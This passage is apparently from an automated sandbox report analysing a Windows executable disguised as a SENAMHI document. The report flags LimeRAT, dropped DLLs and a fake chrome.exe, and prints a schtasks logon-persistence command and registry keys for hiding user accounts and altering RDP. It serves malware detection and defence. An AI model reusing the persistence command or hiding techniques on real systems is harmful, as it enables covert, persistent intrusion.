DocumentoSENAMHI20222103.exe, 00000001.00000003.80760169574.0000000005E19000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80768273960.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: z:\task_1538344561\build\src\obj-thunderbird\security\nss\lib\softoken\softoken_softokn3\softokn3.pdb)) source: DocumentoSENAMHI20222103.exe, 00000001.00000003.81063438774.0000000005E58000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83515005180.0000000005E05000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81061631920.0000000005E19000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81063247218.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81065282469.0000000005E59000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81061919496.0000000005E58000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83519503741.0000000006619000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81056282933.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp, softokn3.dll.1.dr
                      Source: Binary string: wuser32.pdbUGP source: DocumentoSENAMHI20222103.exe, 00000001.00000002.83509823788.000000000515F000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83511925092.0000000005570000.00000040.00001000.00020000.00000000.sdmp
                      Source: Binary string: C:\Users\Tim\documents\visual studio 2010\Projects\sqlite\Release\sqlite3.pdb source: DocumentoSENAMHI20222103.exe, 00000001.00000003.79944286859.0000000005E45000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.79950935060.0000000006150000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83516008280.000000000603B000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81148238884.0000000006150000.00000040.00001000.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.79945562253.0000000005E35000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.79946624029.0000000005E18000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.79941413846.0000000005E44000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.79941126369.0000000005E19000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.79945466909.0000000005E27000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83516925103.00000000060CB000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83517655529.00000000061E8000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.79946513603.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: z:\task_1538344561\build\src\obj-thunderbird\security\nss\lib\freebl\freebl_freebl3\freebl3.pdb source: DocumentoSENAMHI20222103.exe, 00000001.00000003.80749812105.000000000643B000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80763490133.00000000064A3000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80754738208.000000000644A000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80751294134.0000000005E59000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80747033580.0000000006411000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83515571343.0000000005E6F000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80747271781.000000000643B000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80875623841.0000000005EF0000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80778848841.0000000006411000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83519503741.0000000006619000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80756890980.0000000006411000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80741387008.0000000006411000.00000004.00000800.00020000.00000000.sdmp
                      Source: DocumentoSENAMHI20222103.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
                      Source: DocumentoSENAMHI20222103.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
                      Source: DocumentoSENAMHI20222103.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
                      Source: DocumentoSENAMHI20222103.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
                      Source: DocumentoSENAMHI20222103.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

                      Data Obfuscation

                      barindex
                      .NET source code contains potential unpacker
                      Source: Chrome[1].exe.1.dr, ?????????/???????????.cs.Net Code: ????? System.Reflection.Assembly System.AppDomain::Load(System.Byte[])
                      Source: wtqsCpda..exe.1.dr, ?????????/???????????.cs.Net Code: ????? System.Reflection.Assembly System.AppDomain::Load(System.Byte[])
                      Source: chrome.exe.15.dr, ?????????/???????????.cs.Net Code: ????? System.Reflection.Assembly System.AppDomain::Load(System.Byte[])
                      Source: 15.0.wtqsCpda..exe.540000.3.unpack, ?????????/???????????.cs.Net Code: ????? System.Reflection.Assembly System.AppDomain::Load(System.Byte[])
                      Source: 15.0.wtqsCpda..exe.540000.2.unpack, ?????????/???????????.cs.Net Code: ????? System.Reflection.Assembly System.AppDomain::Load(System.Byte[])
                      Source: 15.0.wtqsCpda..exe.540000.1.unpack, ?????????/???????????.cs.Net Code: ????? System.Reflection.Assembly System.AppDomain::Load(System.Byte[])
                      Source: 15.0.wtqsCpda..exe.540000.0.unpack, ?????????/???????????.cs.Net Code: ????? System.Reflection.Assembly System.AppDomain::Load(System.Byte[])
                      Source: 15.2.wtqsCpda..exe.540000.0.unpack, ?????????/???????????.cs.Net Code: ????? System.Reflection.Assembly System.AppDomain::Load(System.Byte[])
                      Source: 18.2.chrome.exe.760000.0.unpack, ?????????/???????????.cs.Net Code: ????? System.Reflection.Assembly System.AppDomain::Load(System.Byte[])
                      Source: 18.0.chrome.exe.760000.0.unpack, ?????????/???????????.cs.Net Code: ????? System.Reflection.Assembly System.AppDomain::Load(System.Byte[])
                      Source: 19.0.chrome.exe.a20000.0.unpack, ?????????/???????????.cs.Net Code: ????? System.Reflection.Assembly System.AppDomain::Load(System.Byte[])
                      Source: 19.2.chrome.exe.a20000.0.unpack, ?????????/???????????.cs.Net Code: ????? System.Reflection.Assembly System.AppDomain::Load(System.Byte[])
                      Source: 19.0.chrome.exe.a20000.1.unpack, ?????????/???????????.cs.Net Code: ????? System.Reflection.Assembly System.AppDomain::Load(System.Byte[])
                      Source: 19.0.chrome.exe.a20000.2.unpack, ?????????/???????????.cs.Net Code: ????? System.Reflection.Assembly System.AppDomain::Load(System.Byte[])
                      Source: 19.0.chrome.exe.a20000.3.unpack, ?????????/???????????.cs.Net Code: ????? System.Reflection.Assembly System.AppDomain::Load(System.Byte[])
                      Source: C:\Users\user\Desktop\DocumentoSENAMHI20222103.exeCode function: 1_2_00BE01B1 push ecx; ret
                      Source: C:\Users\user\AppData\Roaming\wtqsCpda..exeCode function: 15_2_00544C79 push ss; ret
                      Source: C:\Users\user\AppData\Roaming\wtqsCpda..exeCode function: 15_2_0293F1F8 push esp; ret
                      Source: C:\Users\user\AppData\Roaming\wtqsCpda..exeCode function: 15_2_0293F99C push 0000003Bh; ret
                      Source: C:\Users\user\AppData\Roaming\wtqsCpda..exeCode function: 15_2_0293F9D5 push 0000003Bh; ret
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeCode function: 18_2_00764C79 push ss; ret
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeCode function: 19_2_00A24C79 push ss; ret
                      Source: msvcp140.dll.1.drStatic PE information: section name: .didat
                      Source: mozglue.dll.1.drStatic PE information: section name: .didat
                      Source: C:\Users\user\AppData\Roaming\wtqsCpda..exeFile created: C:\Users\user\AppData\Local\Temp\chrome.exeJump to dropped file
                      Source: C:\Users\user\Desktop\DocumentoSENAMHI20222103.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\L2D128LW\Chrome[1].exeJump to dropped file
                      Source: C:\Users\user\Desktop\DocumentoSENAMHI20222103.exeFile created: C:\Users\user\AppData\Local\Temp\softokn3.dllJump to dropped file
                      Source: C:\Users\user\Desktop\DocumentoSENAMHI20222103.exeFile created: C:\Users\user\AppData\Local\Temp\mozglue.dllJump to dropped file
                      Source: C:\Users\user\Desktop\DocumentoSENAMHI20222103.exeFile created: C:\Users\user\AppData\Local\Temp\nss3.dllJump to dropped file
                      Source: C:\Users\user\Desktop\DocumentoSENAMHI20222103.exeFile created: C:\Users\user\AppData\Local\Temp\vcruntime140.dllJump to dropped file
                      Source: C:\Users\user\Desktop\DocumentoSENAMHI20222103.exeFile created: C:\Users\user\AppData\Roaming\wtqsCpda..exeJump to dropped file
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeFile created: C:\Users\user\AppData\Local\Temp\IconLib.dllJump to dropped file
                      Source: C:\Users\user\Desktop\DocumentoSENAMHI20222103.exeFile created: C:\Users\user\AppData\Local\Temp\freebl3.dllJump to dropped file
                      Source: C:\Users\user\Desktop\DocumentoSENAMHI20222103.exeFile created: C:\Users\user\AppData\Local\Temp\msvcp140.dllJump to dropped file

                      Boot Survival

                      barindex
                      Yara detected LimeRAT
                      Source: Yara matchFile source: 15.0.wtqsCpda..exe.540000.3.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 19.0.chrome.exe.a20000.0.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 18.2.chrome.exe.760000.0.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 18.0.chrome.exe.760000.0.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 15.0.wtqsCpda..exe.540000.2.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 15.2.wtqsCpda..exe.2b22c9c.1.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 15.0.wtqsCpda..exe.540000.1.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 19.2.chrome.exe.a20000.0.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 19.0.chrome.exe.a20000.1.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 19.0.chrome.exe.a20000.2.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 15.0.wtqsCpda..exe.540000.0.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 19.0.chrome.exe.a20000.3.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 15.2.wtqsCpda..exe.2b22c9c.1.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 15.2.wtqsCpda..exe.540000.0.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 00000013.00000000.80248070314.0000000000A22000.00000002.00000001.01000000.00000009.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000012.00000000.80097480691.0000000000762000.00000002.00000001.01000000.00000009.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000010.00000002.80087663971.0000000002BB0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000012.00000002.83499752484.0000000000762000.00000002.00000001.01000000.00000009.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000013.00000000.80247515540.0000000000A22000.00000002.00000001.01000000.00000009.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000010.00000002.80088120152.0000000002DA0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 0000000F.00000000.79892756744.0000000000542000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
                      Source: Yara matchFile source: 0000000F.00000000.79892233843.0000000000542000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000013.00000002.80404784517.0000000000A22000.00000002.00000001.01000000.00000009.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000013.00000000.80246486829.0000000000A22000.00000002.00000001.01000000.00000009.sdmp, type: MEMORY
                      Source: Yara matchFile source: 0000000F.00000000.79893250831.0000000000542000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
                      Source: Yara matchFile source: 0000000F.00000002.80311999722.0000000000542000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000013.00000000.80246995488.0000000000A22000.00000002.00000001.01000000.00000009.sdmp, type: MEMORY
                      Source: Yara matchFile source: 0000000F.00000000.79893776213.0000000000542000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
                      Source: Yara matchFile source: 0000000F.00000002.80316124713.0000000002B22000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: Process Memory Space: wtqsCpda..exe PID: 1033924, type: MEMORYSTR
                      Source: Yara matchFile source: Process Memory Space: schtasks.exe PID: 1034124, type: MEMORYSTR
                      Source: Yara matchFile source: Process Memory Space: chrome.exe PID: 1034204, type: MEMORYSTR
                      Source: Yara matchFile source: Process Memory Space: chrome.exe PID: 6672, type: MEMORYSTR
                      Source: Yara matchFile source: C:\Users\user\AppData\Local\Temp\chrome.exe, type: DROPPED
                      Source: Yara matchFile source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\L2D128LW\Chrome[1].exe, type: DROPPED
                      Source: Yara matchFile source: C:\Users\user\AppData\Roaming\wtqsCpda..exe, type: DROPPED
                      Uses schtasks.exe or at.exe to add and modify task schedules
                      Source: C:\Users\user\AppData\Roaming\wtqsCpda..exeProcess created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /sc ONLOGON /RL HIGHEST /tn LimeRAT-Admin /tr "'C:\Users\user\AppData\Local\Temp\chrome.exe'"

                      Hooking and other Techniques for Hiding and Protection

                      barindex
                      Hides that the sample has been downloaded from the Internet (zone.identifier)
                      Source: C:\Users\user\AppData\Roaming\wtqsCpda..exeFile opened: C:\Users\user\AppData\Local\Temp\chrome.exe:Zone.Identifier read attributes | delete
                      Contains functionality to hide user accounts
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000002.83503240355.00000000013B4000.00000002.00001000.00020000.00000000.sdmpString found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000002.83503240355.00000000013B4000.00000002.00001000.00020000.00000000.sdmpString found in binary or memory: UEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEETermService%ProgramFiles%%windir%\System32%ProgramW6432%\Microsoft DN1\rfxvmt.dll\rdpwrap.ini\sqlmap.dllrudprpdpSOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserListSeDebugPrivilegeSYSTEM\CurrentControlSet\Services\TermService\ParametersServiceDllSYSTEM\CurrentControlSet\Services\TermServiceImagePathsvchost.exesvchost.exe -kCertPropSvcSessionEnvServicesActiveSYSTEM\CurrentControlSet\Control\Terminal ServerSYSTEM\CurrentControlSet\Control\Terminal Server\Licensing CoreSOFTWARE\Microsoft\Windows NT\CurrentVersion\WinlogonSYSTEM\CurrentControlSet\Control\Terminal Server\AddInsSYSTEM\CurrentControlSet\ControlTerminal Server\AddIns\Clip RedirectorSYSTEM\CurrentControlSet\Control\Terminal Server\AddIns\Dynamic VCfDenyTSConnectionsEnableConcurrentSessionsAllowMultipleTSSessionsRDPClipNameType
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000002.83505519609.0000000002FE0000.00000040.00001000.00020000.00000000.sdmpString found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000002.83505519609.0000000002FE0000.00000040.00001000.00020000.00000000.sdmpString found in binary or memory: UEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEETermService%ProgramFiles%%windir%\System32%ProgramW6432%\Microsoft DN1\rfxvmt.dll\rdpwrap.ini\sqlmap.dllrudprpdpSOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserListSeDebugPrivilegeSYSTEM\CurrentControlSet\Services\TermService\ParametersServiceDllSYSTEM\CurrentControlSet\Services\TermServiceImagePathsvchost.exesvchost.exe -kCertPropSvcSessionEnvServicesActiveSYSTEM\CurrentControlSet\Control\Terminal ServerSYSTEM\CurrentControlSet\Control\Terminal Server\Licensing CoreSOFTWARE\Microsoft\Windows NT\CurrentVersion\WinlogonSYSTEM\CurrentControlSet\Control\Terminal Server\AddInsSYSTEM\CurrentControlSet\ControlTerminal Server\AddIns\Clip RedirectorSYSTEM\CurrentControlSet\Control\Terminal Server\AddIns\Dynamic VCfDenyTSConnectionsEnableConcurrentSessionsAllowMultipleTSSessionsRDPClipNameType
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000003.79799775147.000000000118E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000003.79799775147.000000000118E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: UEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEETermService%ProgramFiles%%windir%\System32%ProgramW6432%\Microsoft DN1\rfxvmt.dll\rdpwrap.ini\sqlmap.dllrudprpdpSOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserListSeDebugPrivilegeSYSTEM\CurrentControlSet\Services\TermService\ParametersServiceDllSYSTEM\CurrentControlSet\Services\TermServiceImagePathsvchost.exesvchost.exe -kCertPropSvcSessionEnvServicesActiveSYSTEM\CurrentControlSet\Control\Terminal ServerSYSTEM\CurrentControlSet\Control\Terminal Server\Licensing CoreSOFTWARE\Microsoft\Windows NT\CurrentVersion\WinlogonSYSTEM\CurrentControlSet\Control\Terminal Server\AddInsSYSTEM\CurrentControlSet\ControlTerminal Server\AddIns\Clip RedirectorSYSTEM\CurrentControlSet\Control\Terminal Server\AddIns\Dynamic VCfDenyTSConnectionsEnableConcurrentSessionsAllowMultipleTSSessionsRDPClipNameType
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000003.79809451868.000000000118E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000003.79809451868.000000000118E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: UEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEETermService%ProgramFiles%%windir%\System32%ProgramW6432%\Microsoft DN1\rfxvmt.dll\rdpwrap.ini\sqlmap.dllrudprpdpSOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserListSeDebugPrivilegeSYSTEM\CurrentControlSet\Services\TermService\ParametersServiceDllSYSTEM\CurrentControlSet\Services\TermServiceImagePathsvchost.exesvchost.exe -kCertPropSvcSessionEnvServicesActiveSYSTEM\CurrentControlSet\Control\Terminal ServerSYSTEM\CurrentControlSet\Control\Terminal Server\Licensing CoreSOFTWARE\Microsoft\Windows NT\CurrentVersion\WinlogonSYSTEM\CurrentControlSet\Control\Terminal Server\AddInsSYSTEM\CurrentControlSet\ControlTerminal Server\AddIns\Clip RedirectorSYSTEM\CurrentControlSet\Control\Terminal Server\AddIns\Dynamic VCfDenyTSConnectionsEnableConcurrentSessionsAllowMultipleTSSessionsRDPClipNameType
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000003.79810306933.000000000117A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000003.79810306933.000000000117A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: UEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEETermService%ProgramFiles%%windir%\System32%ProgramW6432%\Microsoft DN1\rfxvmt.dll\rdpwrap.ini\sqlmap.dllrudprpdpSOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserListSeDebugPrivilegeSYSTEM\CurrentControlSet\Services\TermService\ParametersServiceDllSYSTEM\CurrentControlSet\Services\TermServiceImagePathsvchost.exesvchost.exe -kCertPropSvcSessionEnvServicesActiveSYSTEM\CurrentControlSet\Control\Terminal ServerSYSTEM\CurrentControlSet\Control\Terminal Server\Licensing CoreSOFTWARE\Microsoft\Windows NT\CurrentVersion\WinlogonSYSTEM\CurrentControlSet\Control\Terminal Server\AddInsSYSTEM\CurrentControlSet\ControlTerminal Server\AddIns\Clip RedirectorSYSTEM\CurrentControlSet\Control\Terminal Server\AddIns\Dynamic VCfDenyTSConnectionsEnableConcurrentSessionsAllowMultipleTSSessionsRDPClipNameType
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000003.79799132484.000000000117E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000003.79799132484.000000000117E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: UEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEETermService%ProgramFiles%%windir%\System32%ProgramW6432%\Microsoft DN1\rfxvmt.dll\rdpwrap.ini\sqlmap.dllrudprpdpSOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserListSeDebugPrivilegeSYSTEM\CurrentControlSet\Services\TermService\ParametersServiceDllSYSTEM\CurrentControlSet\Services\TermServiceImagePathsvchost.exesvchost.exe -kCertPropSvcSessionEnvServicesActiveSYSTEM\CurrentControlSet\Control\Terminal ServerSYSTEM\CurrentControlSet\Control\Terminal Server\Licensing CoreSOFTWARE\Microsoft\Windows NT\CurrentVersion\WinlogonSYSTEM\CurrentControlSet\Control\Terminal Server\AddInsSYSTEM\CurrentControlSet\ControlTerminal Server\AddIns\Clip RedirectorSYSTEM\CurrentControlSet\Control\Terminal Server\AddIns\Dynamic VCfDenyTSConnectionsEnableConcurrentSessionsAllowMultipleTSSessionsRDPClipNameType
                      Source: C:\Users\user\AppData\Roaming\wtqsCpda..exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Roaming\wtqsCpda..exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Roaming\wtqsCpda..exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Roaming\wtqsCpda..exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Roaming\wtqsCpda..exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Roaming\wtqsCpda..exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Roaming\wtqsCpda..exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Roaming\wtqsCpda..exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Roaming\wtqsCpda..exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Roaming\wtqsCpda..exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Roaming\wtqsCpda..exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Roaming\wtqsCpda..exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Roaming\wtqsCpda..exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Roaming\wtqsCpda..exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Roaming\wtqsCpda..exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Roaming\wtqsCpda..exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Roaming\wtqsCpda..exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Roaming\wtqsCpda..exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Roaming\wtqsCpda..exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Roaming\wtqsCpda..exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Roaming\wtqsCpda..exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Roaming\wtqsCpda..exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Roaming\wtqsCpda..exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Roaming\wtqsCpda..exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Roaming\wtqsCpda..exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Roaming\wtqsCpda..exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Roaming\wtqsCpda..exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Roaming\wtqsCpda..exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Roaming\wtqsCpda..exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Roaming\wtqsCpda..exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Roaming\wtqsCpda..exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Roaming\wtqsCpda..exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeProcess information set: NOOPENFILEERRORBOX
